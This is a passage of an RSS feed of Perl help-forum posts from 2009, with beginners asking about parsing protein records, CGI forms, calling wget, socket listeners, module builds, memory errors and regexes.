RT   transcription factor/cAMP responsive element binding family of<br />
RT   transcription factors: activating transcription factor proteins and<br />
RT   homeostasis.&quot;;<br />
RL   Gene 273:1-11(2001).<br />
DR   NextBio; 43639; -.<br />
DR   PMAP-CutDB; P18850; -.<br />
DR   ArrayExpress; P18850; -.<br />
DR   Bgee; P18850; -.<br />
DR   CleanEx; HS_ATF6; -.<br />
DR   GermOnline; ENSG00000118217; Homo sapiens.<br />
DR   Pfam; PF00170; bZIP_1; 1.<br />
DR   PROSITE; PS50217; BZIP; 1.<br />
DR   PROSITE; PS00036; BZIP_BASIC; 1.<br />
PE   1: Evidence at protein level;<br />
KW   Activator; Complete proteome; DNA-binding; Endoplasmic reticulum;<br />
KW   Glycoprotein; Membrane; Nucleus; Phosphoprotein; Polymorphism;<br />
KW   Signal-anchor; Transcription; Transcription regulation; Transmembrane;<br />
KW   Unfolded protein response.<br />
//<br />
<br />
<br />
<br />
<br />
<br />
I wish to parse through the protein database to get all protein names and Pfam numbers that are &quot;human&quot; &quot;transcription factors&quot; AND also a &quot;DNA-binding&quot;, ignoring all other information.<br />
My protocol is as followed:<br />
   Find &quot;ID&quot; line.<br />
   Find &quot;OS&quot; line and see if it contains the word &quot;HUMAN&quot;.<br />
   See if there is any Pfam number in &quot;DR&quot; lines.<br />
   See if the terms &quot;transcription&quot; and &quot;DNA-binding&quot; appear in &quot;KW&quot; lines.<br />
If the three conditions are met, then print out the result like this:<br />
   $ID, $Pfam_number1, $Pfam_number2,...(if more Pfam numbers exist)<br />
<br />
It should be a pretty easy one, but I am not sure how to write a script on this. It has puzzled me for days. Can anyone please help?<br />
I will not need a full script, just a main construction of the script would be very helpful.<br />
<br />
Thanks.</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>jacquelinek</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread227673.html</guid>
		</item>
		<item>
			<title><![CDATA[prevent .cgi script from reloading after "Submit" pressed]]></title>
			<link>http://www.daniweb.com/forums/thread226245.html</link>
			<pubDate>Mon, 28 Sep 2009 04:44:30 GMT</pubDate>
			<description><![CDATA[Could you suggest how to prevent the following script from reloading when 'Submit' is pressed ? 
 
Thanks 
 
 
 
#!/usr/bin/perl 
 
use strict; 
use warnings;]]></description>
			<content:encoded><![CDATA[<div>Could you suggest how to prevent the following script from reloading when 'Submit' is pressed ?<br />
<br />
Thanks<br />
<br />
 <pre style="margin:20px; line-height:13px"><br />
#!/usr/bin/perl<br />
<br />
use strict;<br />
use warnings;<br />
use CGI qw(:standard :html3);<br />
<br />
<br />
our @results;<br />
<br />
#require (&quot;file_upload2.pl&quot;);<br />
<br />
print header;<br />
start_html(' questions shuffle'),<br />
print h2 (&quot;\t questions shuffle&quot;);<br />
<br />
<br />
<br />
<br />
my @questionsets = (&quot;dt_questions.txt&quot;, &quot;questions2.txt&quot;, &quot;dt_questions.txt&quot;);<br />
<br />
foreach my $setfile (@questionsets){<br />
&nbsp; &nbsp; &nbsp; &nbsp; &amp;choose ($setfile);<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
<br />
}<br />
<br />
sub choose {<br />
<br />
my $set = shift;<br />
<br />
open (FILE, $set ) || die &quot;Error opening file : $!\n&quot;;<br />
#config<br />
my @questions =&lt;FILE&gt;;<br />
my @numbers = (1..40);#number of questions to choose from<br />
my $limit = 25; #number of questions to be selected<br />
my %list = ();<br />
<br />
print h4 (&quot;\t $set&quot;);<br />
<br />
#populate the hash with random numbers<br />
while (keys %list &lt; $limit) {<br />
&nbsp;  $list{$numbers&#91;rand @numbers&#93;}=1;<br />
} <br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
# print the selected questions in a table<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;TABLE BORDER=2 bgcolor='lightgrey' WIDTH=90%&gt;&quot;;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print (td &quot;&lt;pre&gt;\ @questions&#91; keys %list&#93;&lt;/pre&gt;&quot;);<br />
&nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;/TABLE&gt;&quot;;<br />
foreach my $values(keys (%list)){<br />
<br />
<br />
#print &quot;@questions&#91; $values&#93;&quot;;<br />
<br />
push&nbsp; (@results, @questions&#91; $values&#93;);<br />
<br />
close(FILE);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
<br />
}<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
###### Answer Sheet<br />
print h3 (&quot;Answer Sheet&quot;);<br />
<br />
print p;<br />
print start_form;<br />
<br />
<br />
my $count;<br />
for (0..$#results ){<br />
<br />
$count = &quot;answer&quot;.&quot;$_&quot;;<br />
print popup_menu(-name=&gt;&quot;$count&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -values=&gt;&#91;'0','1','2','3','4','5', '6','7','8','9','10'&#93;);<br />
print &quot;\n@results&#91;$_&#93;\n&quot;;<br />
<br />
print p;<br />
}<br />
&nbsp;<br />
print submit(-name=&gt;'preview', -value=&gt;'Submit');;<br />
<br />
print end_form,<br />
&nbsp; &nbsp; hr;<br />
<br />
<br />
if (!param ('preview')){exit;}<br />
<br />
## print scores<br />
my $score;<br />
for (0..$#results ){<br />
my $answer = &quot;answer&quot;.&quot;$_&quot;;<br />
#print param (&quot;$answer&quot;);<br />
<br />
$score = $score + param (&quot;$answer&quot;);}<br />
my $max = ($#results +1)*10;<br />
print &quot;The total score is : $score&quot;;<br />
print p;<br />
print &quot;Maximum possible score is $max &quot;;<br />
exit;</pre></div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>inquisitor71</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread226245.html</guid>
		</item>
		<item>
			<title>System()?</title>
			<link>http://www.daniweb.com/forums/thread226078.html</link>
			<pubDate>Sun, 27 Sep 2009 06:32:27 GMT</pubDate>
			<description><![CDATA[Hello all. 
I was trying to execute wget from the perl under windows vista. 
In cmd i can easily run wget because its in \windows\system32 folder. But from perl,when i try both  
system('wget --h'); 
and 
system('c:\windows\system32\wget --h'); 
i get the next error : 
'wget' is not recognized as...]]></description>
			<content:encoded><![CDATA[<div>Hello all.<br />
I was trying to execute wget from the perl under windows vista.<br />
In cmd i can easily run wget because its in \windows\system32 folder. But from perl,when i try both <br />
system('wget --h');<br />
and<br />
system('c:\windows\system32\wget --h');<br />
i get the next error :<br />
'wget' is not recognized as an internal or external command, operable program or batch file.<br />
And it works when wget is in the same folder of the script, any way to put it using the \windows\system32's wget?<br />
Thanks in advance.</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>jen140</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread226078.html</guid>
		</item>
		<item>
			<title>Module Installation Problem</title>
			<link>http://www.daniweb.com/forums/thread225842.html</link>
			<pubDate>Fri, 25 Sep 2009 23:39:52 GMT</pubDate>
			<description>Well, I want to have a program make a graph from the data that it has, so I looked up how to do that in  Perl. The GD::Graph module came up. The problem is, that I tried installing GD previously and it did not work. I have tried every trick I know of (yes, I read the README, but if anyone else...</description>
			<content:encoded><![CDATA[<div>Well, I want to have a program make a graph from the data that it has, so I looked up how to do that in  Perl. The GD::Graph module came up. The problem is, that I tried installing GD previously and it did not work. I have tried every trick I know of (yes, I read the README, but if anyone else understands it more than myself, feel free to look through it for potential problems), but the module still does  not install. I have tried getting the latest versions of libgd, libpng, and zlib, as well as using the CPAN module, and putting gd.h in the right place.<br />
I am running Ubuntu 9.10 on an Eee PC 901. <br />
<div style="margin:20px; margin-top:5px; "> <div class="smallfont" style="margin-bottom:2px">Quote:</div> <table cellpadding="5" cellspacing="0" border="0" width="100%"> <tr> <td class="alt2"> <hr />  GD.xs:710: error: ‘gdIOCtx’ undeclared (first use in this function)<br />
GD.xs:710: error: (Each undeclared identifier is reported only once<br />
GD.xs:710: error: for each function it appears in.)<br />
GD.xs: In function ‘XS_GD__Image_newFromGifData’:<br />
GD.xs:865: error: ‘gdIOCtx’ undeclared (first use in this function)<br />
GD.xs:865: error: ‘ctx’ undeclared (first use in this function)<br />
GD.xs: In function ‘XS_GD__Image_stringFTCircle’:<br />
GD.xs:2262: warning: assignment makes pointer from integer without a cast<br />
GD.xs: In function ‘XS_GD__Font_DESTROY’:<br />
GD.xs:2437: warning: comparison between pointer and integer<br />
GD.xs:2441: warning: comparison between pointer and integer<br />
GD.xs: In function ‘XS_GD__Font_Small’:<br />
GD.xs:2453: warning: assignment makes pointer from integer without a cast<br />
GD.xs: In function ‘XS_GD__Font_Large’:<br />
GD.xs:2464: warning: assignment makes pointer from integer without a cast  <hr /> </td> </tr> </table> </div>These are the types of errors I get when I try to execute the commands make and make install. Any help that can be provided would be appreciated.</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>orwell84</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread225842.html</guid>
		</item>
		<item>
			<title>generating random number of eight digit</title>
			<link>http://www.daniweb.com/forums/thread223479.html</link>
			<pubDate>Wed, 16 Sep 2009 11:38:24 GMT</pubDate>
			<description>Hi Guys, 
Can any one suggest to generate a random number of eight digit. 
All suggestions are welcomed :)</description>
			<content:encoded><![CDATA[<div>Hi Guys,<br />
Can any one suggest to generate a random number of eight digit.<br />
All suggestions are welcomed :)</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>Prakash_8111</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread223479.html</guid>
		</item>
		<item>
			<title>struggling with perls quirks</title>
			<link>http://www.daniweb.com/forums/thread223473.html</link>
			<pubDate>Wed, 16 Sep 2009 11:04:29 GMT</pubDate>
			<description><![CDATA[Hi I am struggling learning perl and everytime I try to enter stuff in at runtime I keep getting a 1 returned. I dont get it. please can you explain to me what I am doing wrong. 
 
 
 
#!/usr/bin/perl 
print "content-type: text/html \n\n"; 
 
&fname; 
 
print "\n totals are out of 140 \n";]]></description>
			<content:encoded><![CDATA[<div>Hi I am struggling learning perl and everytime I try to enter stuff in at runtime I keep getting a 1 returned. I dont get it. please can you explain to me what I am doing wrong.<br />
<br />
<br />
<br />
#!/usr/bin/perl<br />
print &quot;content-type: text/html \n\n&quot;;<br />
<br />
&amp;fname;<br />
<br />
print &quot;\n totals are out of 140 \n&quot;;<br />
sub fname<br />
{<br />
	return &quot;enter in up to 10 firstnames: \n&quot;;<br />
	for ($i=0; $i &lt; 2; $i++)<br />
	{<br />
		@name=&lt;STDIN&gt;.&quot;\n&quot;;<br />
		<br />
	}<br />
	<br />
	return &quot;these are the firstnames:&quot;.@name;<br />
}</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>piers</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread223473.html</guid>
		</item>
		<item>
			<title>printing information form sub routines</title>
			<link>http://www.daniweb.com/forums/thread223186.html</link>
			<pubDate>Tue, 15 Sep 2009 09:44:21 GMT</pubDate>
			<description><![CDATA[I am trying to teach myself perl and I cannot understand why when I print arrays from these subroutines that it prints an extra one that isnt there. 
 
@name=fname(@name)."\n".lname(@name); 
 
 
print @name; 
 
 
 
sub fname(@name)]]></description>
			<content:encoded><![CDATA[<div>I am trying to teach myself perl and I cannot understand why when I print arrays from these subroutines that it prints an extra one that isnt there.<br />
<br />
@name=fname(@name).&quot;\n&quot;.lname(@name);<br />
<br />
<br />
print @name;<br />
<br />
<br />
<br />
sub fname(@name)<br />
{<br />
	@name=('john'.&quot;\t&quot;,'james'.&quot;\t&quot;,'edward'.&quot;\n&quot;);<br />
 <br />
print @name;<br />
}<br />
<br />
sub lname(@name)<br />
{<br />
	@name=('hunt'.&quot; \t&quot;,'jones'.&quot;\t&quot;,'smith');<br />
 <br />
 print @name; <br />
}<br />
<br />
this is what I get when I execute it in the command prompt.<br />
john     james     edward<br />
hunt     jones      smith1<br />
1<br />
<br />
<br />
Now what I dont get is why the 1s on the end are there and how to remove them.</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>piers</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread223186.html</guid>
		</item>
		<item>
			<title>Multiple window using Perl TK</title>
			<link>http://www.daniweb.com/forums/thread223133.html</link>
			<pubDate>Tue, 15 Sep 2009 06:01:07 GMT</pubDate>
			<description><![CDATA[I've got a text file in this following format : 
 
Field      Data    
1            2 
1            3 
1            4 
2            5 
2            6 
3            2 
3            3]]></description>
			<content:encoded><![CDATA[<div>I've got a text file in this following format :<br />
<br />
Field      Data   <br />
1            2<br />
1            3<br />
1            4<br />
2            5<br />
2            6<br />
3            2<br />
3            3<br />
3            4<br />
<br />
I would like to open separate windows for each of the field...<br />
meaning :<br />
window1 (for field1) will display 2,3,4<br />
window2 (for field2) will display 5,6<br />
window3 (for field3) will display 2,3,4<br />
<br />
I've read the file and load into two separate arrays - @field and @data.<br />
<br />
I'm using window1 as the main window and the rest as toplevel windows.<br />
I've managed to do window1 but the still having problem to proceed with the rest.  Appreciate any snippets or guidance to start with as still new with Perl n Tk. Thanks in advance...</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>terrylau77</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread223133.html</guid>
		</item>
		<item>
			<title>output of ($a,$b)=((1,2),3); Print $a $b</title>
			<link>http://www.daniweb.com/forums/thread222611.html</link>
			<pubDate>Sun, 13 Sep 2009 02:17:19 GMT</pubDate>
			<description>Please let me know how this will execute in perl: 
($a,$b)=((1,2),3); Print $a $b 
 
what will be printed as output?</description>
			<content:encoded><![CDATA[<div>Please let me know how this will execute in perl:<br />
($a,$b)=((1,2),3); Print $a $b<br />
<br />
what will be printed as output?</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>siragnas</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread222611.html</guid>
		</item>
		<item>
			<title>Another Perl Out Of Memory Post :(</title>
			<link>http://www.daniweb.com/forums/thread221662.html</link>
			<pubDate>Wed, 09 Sep 2009 07:00:58 GMT</pubDate>
			<description>Hi all, 
 
This is my first post, and I am certainly no perl programmer. I do have programming experience and have inherited a some perl code written by someone else. I have spent days trying to find the solution to this, so here it goes. 
 
This script parses a tab delimited text file and...</description>
			<content:encoded><![CDATA[<div>Hi all,<br />
<br />
This is my first post, and I am certainly no perl programmer. I do have programming experience and have inherited a some perl code written by someone else. I have spent days trying to find the solution to this, so here it goes.<br />
<br />
This script parses a tab delimited text file and downloads files from our Intranet based on 3 columns of information. Whenever the script hits a file that is a bit over 60MB, it dies with a &quot;Out of memory during &quot;large&quot; request for 134221824 bytes, total sbrk() is 271218688 bytes at...&quot; error.<br />
<br />
We are using a while loop (which I read can be a problem if not since the while reads line by line) and the data segment size and file size are unlimited. The machine running this has plenty of resources. There is not actually a memory shortage, at least a Gig of physical mem is available when this happens. I do run these scripts in a cygwin environment, but I have tested this on ubuntu 9 with the same results. I am including the script below. Any help is much appreciated. Thanks!<br />
<br />
 <pre style="margin:20px; line-height:13px">#!/usr/local/bin/perl<br />
<br />
<br />
##### LOAD THE NEEDED PERL LIBRARY MODULES #####<br />
use FileHandle;<br />
use LWP::UserAgent;<br />
use HTTP::Request;<br />
use IO::File;<br />
<br />
##### MAKE SURE STDOUT KEEPS FLUSHED #####<br />
autoflush STDOUT 1;<br />
##### SETUP RESTRICTIONS, AS WELL AS GLOBAL VARIABLES #####<br />
use strict;<br />
<br />
my $infile = shift || die &quot;Usage: multidownload.pl &lt; file_with_info\n&quot;;<br />
open( IN, &quot;&lt; $infile&quot; );<br />
<br />
<br />
<br />
##### SET UP YOUR INFO HERE #####<br />
<br />
my $PATH = &quot;filesDownloaded&quot;;<br />
<br />
my ($url,$request,$response);<br />
my $UA&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = new LWP::UserAgent;<br />
my $nodeid;<br />
my $ext;<br />
my $file = &quot;&quot;;<br />
my $line;<br />
<br />
<br />
my $llserver&nbsp; &nbsp; &nbsp; &nbsp; = &quot;xxxxxxxi&quot;;<br />
my $llcookie&nbsp; &nbsp; &nbsp; &nbsp;  ='LLCookie=xxxxxxxxxxxxx';<br />
<br />
while (&lt;IN&gt;) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; $line = $_;<br />
&nbsp; &nbsp; &nbsp; &nbsp; ($nodeid,$ext,$file) = split(/\t/, $line);<br />
&nbsp; &nbsp; &nbsp; &nbsp; chomp $nodeid;<br />
&nbsp; &nbsp; &nbsp; &nbsp; chomp $ext;<br />
&nbsp; &nbsp; &nbsp; &nbsp; chomp $file;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; ##### make sure we have a nodeID####<br />
&nbsp; &nbsp; &nbsp; &nbsp; if( $nodeid =~ /\d+/ ) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;Downloading $nodeid, Ext $ext, Name $file...\n&quot;;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $url = &quot;$llserver?func=ll&amp;objId=$nodeid&amp;objAction=download&quot;;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $request = new HTTP::Request GET =&gt; $url;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $request-&gt;header( Cookie =&gt; &quot;$llcookie&quot; );<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $response = $UA-&gt;request($request);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # Replace spaces/slashes/stars/pipes/? with '_' in the filename<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # Remove leading and trailing spaces first<br />
&nbsp; &nbsp; &nbsp; $file =~ s/^\s+//;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\s+$//;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\s+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\/+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\\+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\*+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\|+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\?+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\&amp;+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\(+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\)+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\'+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\&quot;+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\;+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\:+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\%+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\$+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\~+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\&lt;+/_/g;<br />
&nbsp; &nbsp; &nbsp; $file =~ s/\&gt;+/_/g;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #DOWNLOAD THE FILE<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if( $ext =~/null/ ) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; open(FH, &quot;&gt;&gt; $PATH/$nodeid-$file&quot;) or print &quot;=&gt;FAIL DWNLD: $nodeid, $!\n&quot;;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print FH $response-&gt;content;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close(FH);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #CHECK FOR 'LOGIN ERROR' OR 'NO LONGER EXISTS'<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; my $num = `/usr/bin//egrep &quot;File:&nbsp; error.html|Authentication Required.&quot; $PATH/$nodeid-$file | /usr/bin//wc -l`;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ( $num&gt;0 ) { print STDERR &quot;=&gt;FAIL ERROR CHECK: $nodeid\n&quot;; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; open(FH, &quot;&gt;&gt; $PATH/$nodeid-$file.$ext&quot;) or print &quot;=&gt;FAIL DWNLD: $nodeid, $!\n&quot;;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print FH $response-&gt;content;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close(FH);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #CHECK FOR 'LOGIN ERROR' OR 'NO LONGER EXISTS'<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; my $num = `/usr/bin//egrep &quot;File:&nbsp; error.html|Authentication Required.&quot; $PATH/$nodeid-$file.$ext | /usr/bin//wc -l`;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ( $num&gt;0 ) { print STDERR &quot;=&gt;FAIL ERROR CHECK: $nodeid\n&quot;; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; else { print &quot;NodeID not ##s: $nodeid, Ext: $ext, Name: $file\n&quot;; }<br />
}<br />
<br />
#If desired, create a text file with the md5 sums for all files<br />
##`cd $PATH; md5sum * &gt; $PATH/_md5.txt`;<br />
<br />
close(IN);</pre></div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>mattdaddym</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread221662.html</guid>
		</item>
		<item>
			<title>trouble with sockets...</title>
			<link>http://www.daniweb.com/forums/thread215799.html</link>
			<pubDate>Wed, 02 Sep 2009 18:36:55 GMT</pubDate>
			<description><![CDATA[<div class="codeblock"> <div class="spaced"> <div style="float:right; margin-right:10px"> <a href="/forums/misc.php?do=explaincode&amp;TB_iframe=true&amp;height=400&amp;width=680" class="thickbox" title="Help with Code Tags" target="_blank">Help with Code Tags</a> </div> <div> <strong>Perl Syntax</strong> (<a...]]></description>
			<content:encoded><![CDATA[<div> <pre style="margin:20px; line-height:13px">#!/usr/local/bin/perl<br />
<br />
use IO::Socket;<br />
<br />
my $url = 'localhost';<br />
my $port = 6464;<br />
<br />
my $error = 1;<br />
my $sock ;<br />
<br />
while ($error) {<br />
&nbsp;  my $sock = new IO::Socket::INET (<br />
&nbsp; &nbsp; &nbsp; &nbsp; LocalHost =&gt; $url,<br />
&nbsp; &nbsp; &nbsp; &nbsp; LocalPort =&gt; $port,<br />
&nbsp; &nbsp; &nbsp; &nbsp; Proto =&gt; 'tcp',<br />
&nbsp; &nbsp; &nbsp; &nbsp; Listen =&gt; 1,<br />
&nbsp; &nbsp; &nbsp; &nbsp; Reuse =&gt; 1 );<br />
<br />
&nbsp; &nbsp; $error = 0 ;<br />
&nbsp; &nbsp; $error =1 unless $sock;<br />
&nbsp;}<br />
<br />
&nbsp;print &quot;Listener Port Established \n&quot;;<br />
<br />
&nbsp;$error =1 ;<br />
&nbsp;while ($error) {<br />
&nbsp; &nbsp; my $new_sock = $sock-&gt;accept();<br />
&nbsp; &nbsp; $error =0 ;<br />
&nbsp; &nbsp; $error =1 unless $new_sock;<br />
&nbsp;}<br />
<br />
&nbsp;print &quot;Connection Established \n&quot;;<br />
<br />
&nbsp;while (&lt;$new_sock&gt;) {<br />
&nbsp; &nbsp;  print $_;<br />
&nbsp;}<br />
<br />
&nbsp;close($sock);</pre><br />
What I get is:<br />
Listener Port Established<br />
Can't call method &quot;accept&quot; on an undefined value at /usr/mbin/testserv.pl line 27.<br />
<br />
Any ideas? RH 8 linux (upgradeing OS is not an option)</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>gginnj</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread215799.html</guid>
		</item>
		<item>
			<title>Need help slurping not able to change the file</title>
			<link>http://www.daniweb.com/forums/thread215457.html</link>
			<pubDate>Tue, 01 Sep 2009 13:36:41 GMT</pubDate>
			<description>Hi, 
 
I have written a small script that takes an infile, slurps it into an array, and makes a change to the file. Well that is my intention.... 
 
I can get the changes to be made using Regular Expressions because I can print and see my H1 tags are changed to H2 tags. 
 
But I have not been able...</description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
I have written a small script that takes an infile, slurps it into an array, and makes a change to the file. Well that is my intention....<br />
<br />
I can get the changes to be made using Regular Expressions because I can print and see my H1 tags are changed to H2 tags.<br />
<br />
But I have not been able to figure out how to re-write the original file with the changes. I actually want to make these changes to the file, not just prove my loop is capable of making the changes with a print.<br />
<br />
Here is my code:<br />
<br />
 <pre style="margin:20px; line-height:13px">open (INFILE, $ARGV[0]) or die &quot;Error $ARGV[0]: $!\n&quot;;<br />
@slurp = &lt;INFILE&gt;;<br />
<br />
while (&lt;@slurp&gt;)<br />
{<br />
s#&lt;(/?)H1&gt;#&lt;$1H2&gt;#g;<br />
}<br />
<br />
print INFILE @slurp;</pre></div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>MikeDexter</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread215457.html</guid>
		</item>
		<item>
			<title>substitution regex question</title>
			<link>http://www.daniweb.com/forums/thread213956.html</link>
			<pubDate>Tue, 25 Aug 2009 22:50:29 GMT</pubDate>
			<description><![CDATA[I'm trying to cut off the text leading up to the whitespace past the >.   
 
For example the string is 'Web & Programming > Testing & QA Contractor' and my regex is 
 
$job->{'title'} =~ s/^.+>\s+//; 
I need to end up with just 'Testing & QA Contractor'.  Can someone point me in the right direction?]]></description>
			<content:encoded><![CDATA[<div>I'm trying to cut off the text leading up to the whitespace past the &gt;.  <br />
<br />
For example the string is 'Web &amp; Programming &gt; Testing &amp; QA Contractor' and my regex is<br />
<br />
 <pre style="margin:20px; line-height:13px">$job-&gt;{'title'} =~ s/^.+&gt;\s+//;</pre><br />
I need to end up with just 'Testing &amp; QA Contractor'.  Can someone point me in the right direction?</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>perlguy</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread213956.html</guid>
		</item>
		<item>
			<title>how to compare two directories that contain xml files in perl??</title>
			<link>http://www.daniweb.com/forums/thread213759.html</link>
			<pubDate>Tue, 25 Aug 2009 07:05:29 GMT</pubDate>
			<description>how to compare two directories that contain xml files in perl.. 
 
and prints the content that is modified, added and deleted</description>
			<content:encoded><![CDATA[<div>how to compare two directories that contain xml files in perl..<br />
<br />
and prints the content that is modified, added and deleted</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>prajnapj</dc:creator>
